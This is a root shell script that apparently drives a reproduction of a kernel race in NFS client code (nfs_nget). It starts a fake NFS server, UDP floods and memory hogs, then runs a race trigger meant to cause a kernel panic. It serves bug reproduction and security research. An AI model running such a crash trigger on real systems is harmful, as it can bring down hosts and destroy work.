#!/bin/sh
# DF-3194 run3.sh - amplified reproduction attempt (root)
#   - deeper bucket already populated from the prior run (no re-fill)
#   - memory pressure (memhog) makes nfs_nget's creation-phase M_WAITOK
#     allocations block mid-create, the deterministic stale-view setup
#   - loopback UDP flood for netisr preemption bursts
# usage: run3.sh [rounds] [start_idx]
set -e
cd /root/df3194
pkill -f fakesrv_race 2>/dev/null || true
pkill -f udp_flood 2>/dev/null || true
pkill -f memhog 2>/dev/null || true
sleep 0.3
umount -f /mnt 2>/dev/null || true
(./fakesrv_race > /tmp/fakesrv3194.log 2>&1 &)
i=0
while ! grep -q ready /tmp/fakesrv3194.log 2>/dev/null; do
	sleep 2
	i=$((i+1))
	[ $i -gt 300 ] && { echo "server startup timeout"; exit 1; }
done
echo SERVER_READY
mount_nfs -o port=2049,udp 127.0.0.1:/P /mnt
echo MOUNT_OK
(./udp_flood > /dev/null 2>&1 &)
(./udp_flood > /dev/null 2>&1 &)
(./memhog > /dev/null 2>&1 &)
(./memhog > /dev/null 2>&1 &)
echo AMPLIFIERS_ON
./race_trigger ${1:-24000} ${2:-76000}
echo "TRIGGER_RC=$? (reaching this line means no panic)"
